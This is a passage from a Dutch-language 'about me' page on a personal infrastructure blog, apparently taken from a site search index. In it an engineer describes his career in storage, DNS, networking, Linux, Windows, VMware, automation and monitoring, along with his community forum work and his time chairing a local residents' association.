gedragen.\nDoor de jaren heen werd uit “degene die de opslag er ook bij doet” “degene die je belt als de opslag goed ontworpen moet worden”.\nNetwerk Netwerk is er vanaf het begin bij geweest. Het is geen ondersteunende vaardigheid — het is een kernvaardigheid. TCP/IP, DHCP en DNS spannen zich over elke functie die ik vanaf McKenna heb gehad.\nBij Nominet werken betekende werken aan de infrastructuur achter het Britse domeinnaamregister. Dat is DNS op nationale schaal. Naamgeving, resolutie, delegatie, en de verwachting dat het elke keer werkt.\nIk draaide autoritatieve zones op BIND 9, configureerde DNSSEC, zette F5-loadbalancers op voor IPv4 en IPv6, en migreerde later DNS-omgevingen naar Cloudflare met API-automatisering en Let\u0026rsquo;s Encrypt-koppeling. Ik heb PXE-boot-DNS-infrastructuur gebouwd voor clusteruitrol in zowel het Verenigd Koninkrijk als China. Ik begrijp DNS van beide kanten. Zelf gehost, waar elke storing van jou is. En beheerd, waar je een aanbieder vertrouwt en dat vertrouwen via monitoring moet toetsen.\nVoorbij DNS loopt netwerk door elke functie die ik heb gehad. VLAN\u0026rsquo;s, bonding, LACP, fibre-channelzonering met Brocade, firewalling met Fortinet en Cisco ASA, IPTables en IPset. Ontwerp van 25GbE- en 100GbE-fabrics, BGP, OSPF-dynamische routering, MTU-beheer, IPv6-architectuur. VPN-tunnels — van OpenVPN over lastige internationale verbindingen tot WireGuard en cloudflared voor moderne veilige toegang. Samba was ook over meerdere functies een professionele vaardigheid en sloeg een brug tussen Linux-bestandsdeling en Windows-domeinintegratie, lang voordat ik de AD-implementatie in alfa testte.\nEen Ceph-cluster is een netwerktoepassing. Het prestatieplafond van de opslag wordt gezet door het netwerk eronder. De storingsbeelden zijn netwerkstoringsbeelden. Dat leer je niet uit een leerboek. Dat leer je door om twee uur \u0026rsquo;s nachts te zoeken.\nLinux Ik werk al ruim twee decennia met de RHEL-, Debian-, SUSE- en Fedora-families. Beroepsmatig betekent dat RHEL en CentOS voor draaiende diensten, Ubuntu voor applicatiehosting, Rocky voor HPC, en Gentoo en Fedora voor eigen gebruik. Ik heb LinkedIns Linux-vaardigheidstoets gehaald.\nDe diepte kwam van problemen zonder antwoord op Stack Overflow, en daar leer je het PCI-subsysteem echt in plaats van van horen zeggen: IOMMU-groepen, ACS, VFIO, SR-IOV, Resizable BAR en wat DMA-vertaling je stilletjes kost, en kernelbootparameters als knoppen die het gedrag van de machine veranderen in plaats van een lijst om over te schrijven van een wiki omdat iemands blog zei dat het zijn probleem oploste.\nPrestatieproblemen met opslag en virtualisatie zijn bijna altijd terug te voeren op een laag waar niemand naar gekeken heeft. Daar woont mijn Linux-kennis.\nWindows Linux is waar ik nu mijn tijd doorbreng, maar de Windows-kant is net zo echt en is in elke baan die ik heb gehad aanwezig geweest. Windows Server, Active Directory, LDAP, Exchange, IIS, Microsoft SQL Server. Niets daarvan is een oude vaardigheid die ik heb neergelegd.\nHet telt op gastniveau, en daar houden de meesten op met kijken. Als een Windows-belasting op KVM draait, is degene die je kan vertellen hoe die gast zich onder een bepaalde CPU-topologie gedraagt, en een prestatieklacht kan herleiden tot een Microsoft-patch in plaats van de hypervisor de schuld te geven, degene die jaren aan beide kanten van het hek heeft doorgebracht. De meeste VM-prestatiediscussies die ik heb gezien werden gewonnen doordat iemand de gast kende, niet de gastheer.\nDe mensen die ik heb ondersteund lopen van hoogleraren en bestuurders tot het team dat de gebouwen verzorgt. De opgave is elke keer dezelfde. Uitzoeken wat ze echt nodig hebben, het werkend krijgen, en het zo uitleggen dat ze zich niet dom voelen omdat ze het vroegen.\nVMware VMware is het platform waar ik beroepsmatig mee ben opgegroeid, over zeven functies vanaf 2008, en ik heb de volle stack ervan gedraaid: ESXi, vCenter, vSAN, vSphere-clustering, vMotion. Ik weet wat het goed doet. Ik weet waar niet. En ik heb gezien hoe de overname door Broadcom de commerciële werkelijkheid herschreef onder organisaties die hun hele omgeving erop hadden gebouwd, en dat is iets anders dan erover lezen.\nJe kunt niemand van een platform af helpen waar je zelf nooit fatsoenlijk op hebt gewerkt. Als zodanig kan ik ze vertellen wat ze opgeven, wat ze krijgen, en welk deel van de migratie erger wordt dan ze is voorgespiegeld.\nAutomatisering Automatiseringsdenken begon in mijn eerste professionele functie in 2006. VB-scripts bij McKenna om AD-schijfkoppelingen, printertoewijzing en softwareuitrol te automatiseren. Daarna HR-naar-AD-provisioninggereedschap bij BT Engage IT. Daarna PXE-bootsystemen voor schijfloze rekenclusters bij Sondrel. Daarna Puppet bij Nominet. Daarna Chocolatey-pakketten en PXE-herbouw bij een detailhandelsbedrijf. Daarna aanpassing van ServiceNow-workflows over meerdere functies.\nNu is het Ansible met Netbox als bron van waarheid. Niet omdat ze in de mode zijn, maar omdat infrastructuur die je niet vanuit code kunt herbouwen geen infrastructuur is die je kunt vertrouwen.\nDocumentatie is hetzelfde argument. Kennis die alleen in iemands hoofd leeft is een enkel storingspunt, en die loopt om vijf uur met de rest het gebouw uit. Net als een schijf zonder redundantie erachter, en met dezelfde ernst te behandelen.\nMonitoring Mijn monitoringachtergrond begon met SolarWinds bij Pulsant, waar ik monitoring op schaal over de hostingomgeving draaide. Zabbix kwam later, en het verdient een eigen vermelding omdat ik het sindsdien bijna overal heb ingevoerd. Het begon bij Nominet, waar ik de aanbesteding en de tests leidde en ons daarna op Zabbix zette om de verouderende VMware Hyperic-opzet te vervangen, en het won doordat het echt begrijpelijk was in plaats van weer iets met Nagios eronder. Daarna heb ik het vanaf nul ingevoerd bij een hosting- en infrastructuurplatform, in de detailhandel iemands mislukte poging vervangen, en er bij UKCEH een HPC-cluster van 8 nodes mee bewaakt.\nElke keer ontwierp ik de monitoringsjablonen en schreef ik de scripts zelf. Toen ik in 2018 de Zabbix-examens Specialist en Professional deed, rolde ik het al jaren uit.\nCommunicatie Werken in kritieke infrastructuur leert je precies te zijn. Werken in presales leert je duidelijk te zijn. Die twee hangen samen maar zijn niet hetzelfde.\nPrecies zijn helpt niets als degene die luistert de redenering niet kan volgen, dus moest ik leren dezelfde uitleg twee keer te geven: één keer voor de ingenieur die de CRUSH-map wil zien, en één keer voor degene die moet tekenen waarom het budget het getal is dat het is. Ik maak niets kinderachtig. Ik maak alleen elke stap in de redenering zichtbaar, en laat ze me onderbreken waar ze willen.\nJaren met eindgebruikers leerden me een ander soort geduld. De mensen die zichzelf de slimste in de kamer vinden, gedragen zich meestal het hulpelooste. Degenen die beginnen met “ik ben niet erg technisch” luisteren doorgaans, volgen de stappen en hebben het in tien minuten opgelost. En degenen die je vertellen dat ze precies weten wat ze doen, hebben het meestal erger gemaakt voordat ze de telefoon pakten.\nDe achtergrond in bedrijfssystemen helpt hier meer dan mensen verwachten, omdat ik altijd beide kanten op heb moeten vertalen. SQL-architectuur voor een operationeel manager, een opslagontwerp voor een CTO, of naast iemand aan zijn eigen bureau zitten en hem laten zien wat hem nooit is getoond. Elke keer dezelfde vaardigheid.\nGemeenschap Kennis delen loopt door de hele loopbaan.\nIk was actief op de Gentoo-forums toen ik systemen uit broncode bouwde en moest begrijpen waarom een combinatie van USE-vlaggen een compilatie sloopte. Ik droeg bij op de Samba-forums toen ik problemen met bestandsdeling en domeinintegratie tussen Linux en Windows doorwerkte. Dat ging verder dan alleen vragen stellen. Ik heb een Samba-gebaseerde Active Directory-domeincontroller gebouwd toen de AD-ondersteuning nog in alfa was. Ik heb hem getest tegen Windows 2000-, XP- en Vista-clients en teruggekoppeld naar de gemeenschap.\nNu ben ik actief bijdrager op de Proxmox-communityforums als DamienDye. Ik help bij NVMe-passthrough-prestaties, het afstemmen van Windows-VM\u0026rsquo;s, Ceph-probleemoplossing en clusternetwerken.\nDe technologieën veranderen. Het principe niet. Als ik een probleem heb uitgezocht, valt er niets te winnen door erop te blijven zitten, en iemand zal over zes maanden om twee uur \u0026rsquo;s nachts blij zijn dat het opgeschreven staat.\nIk heb ook de gewoonte om me dieper in problemen te graven dan de taak strikt vraagt. Ik heb een zelfgebouwde printplaat voor NVMe-bescherming tegen stroomuitval ontworpen, omdat ik precies wilde begrijpen waarom FTL-corruptie op hardwareniveau ontstaat. Ik heb protocollen voor zelf gehoste e-mail onderzocht omdat ik JMAP vanaf de RFC wilde begrijpen in plaats van een aanbieder maar te vertrouwen. Ik heb deze blog gebouwd omdat dingen goed opschrijven de manier is waarop je de gaten in je eigen begrip vindt.\nGemeenschap weg van het toetsenbord Het was niet allemaal forums.\nIn 2018 was ik een van de oprichters van de Longford Park Community Association in Banbury, in de wijk waar ik woon. Vier bouwfasen, een buurthuis dat in de plannen stond, en niets dat het kon draaien. Dus heeft een handvol bewoners iets opgezet.\nIk deed eerst het IT-deel, want dat was wat ik te geven had. Het domein lpca.org.uk ging in januari 2018 live, en daarachter bouwde ik de website, de mailsystemen en de bestuurslijsten, en schreef ik de privacyverklaring.\nIk zat vanaf het begin in het bestuur, en ik was er van december 2018 tot februari 2020 voorzitter van. Veertien maanden, en de dingen die er echt toe deden landden allemaal daarbinnen. We hebben het op 11 februari 2019 als goed doel laten registreren, nummer 1181953. Ik heb de commerciële huurovereenkomst voor het gebouw geregeld. Daarna hebben we het centrum geopend.\nDaar was het voorzitterschap voor. Niet voor agenda\u0026rsquo;s en notulen. Voor het openen van een gebouw waar een paar honderd huishoudens naar binnen kunnen lopen. Vrijwilligers uit de buurt draaien het nog steeds over fase 1 tot en met 4 van de wijk — drie zalen, een keuken en een parkeerterrein, per uur te huur voor iedereen in de wijk die ze wil.\nVrijwilligersbesturen draaien op goede wil, en goede wil is geen governancemodel. Dus hield ik mensen aan de statuten, mezelf inbegrepen. Ik vroeg waarom we van buiten wierven terwijl de statuten zeiden: betrek de bewoners, en ik hield een mailing tegen die in elke spammap van de wijk zou landen. Niet om lastig te zijn. Een bewonersvereniging die de bewoners niet kan bereiken is al gezakt voor de enige taak die ze heeft, en ik stuurde de links om het op te lossen mee met de klacht.\nHet centrum is nog steeds open en ik zit niet meer in het bestuur, en zo hoort het. Wat alleen werkt zolang jij ernaast staat en het overeind houdt, is nooit goed gebouwd.\nDeze site Deze blog is een statische Hugo-site met het thema PaperMod. Hij draait op Cloudflare Workers en levert de gebouwde site als statische assets uit.\nIk schrijf hier over de infrastructuur waar ik dagelijks mee werk: Proxmox VE, Ceph, Ansible, Netbox, certificaten en waar ik die week verder in gedoken ben. Het is geschreven om gebruikt te worden, met de commando\u0026rsquo;s en de cijfers erin, want een bericht dat je aan het toetsenbord niet kunt volgen is versiering. Geen marketingpraat. Als iets ruwe randen heeft, zegt het bericht dat.\nContact Je vindt me op LinkedIn of op de Proxmox-forums.\nAls je naar Ceph of Proxmox kijkt voor jouw organisatie en een fatsoenlijk gesprek wilt in plaats van een pitch, laat het me weten. Breng de werklast, de beperkingen en het budget mee die je echt hebt. Ik vertel je wat het gaat doen, wat niet, en als het eerlijke antwoord is dat je moet houden wat je hebt en het goed moet configureren, krijg je dat antwoord ook.\n","permalink":"https://blogs.damiendye.uk/nl/about/","summary":"Damien Dye — presales engineer, infrastructuurspecialist en pleitbezorger van open source.","title":"Over mij"}]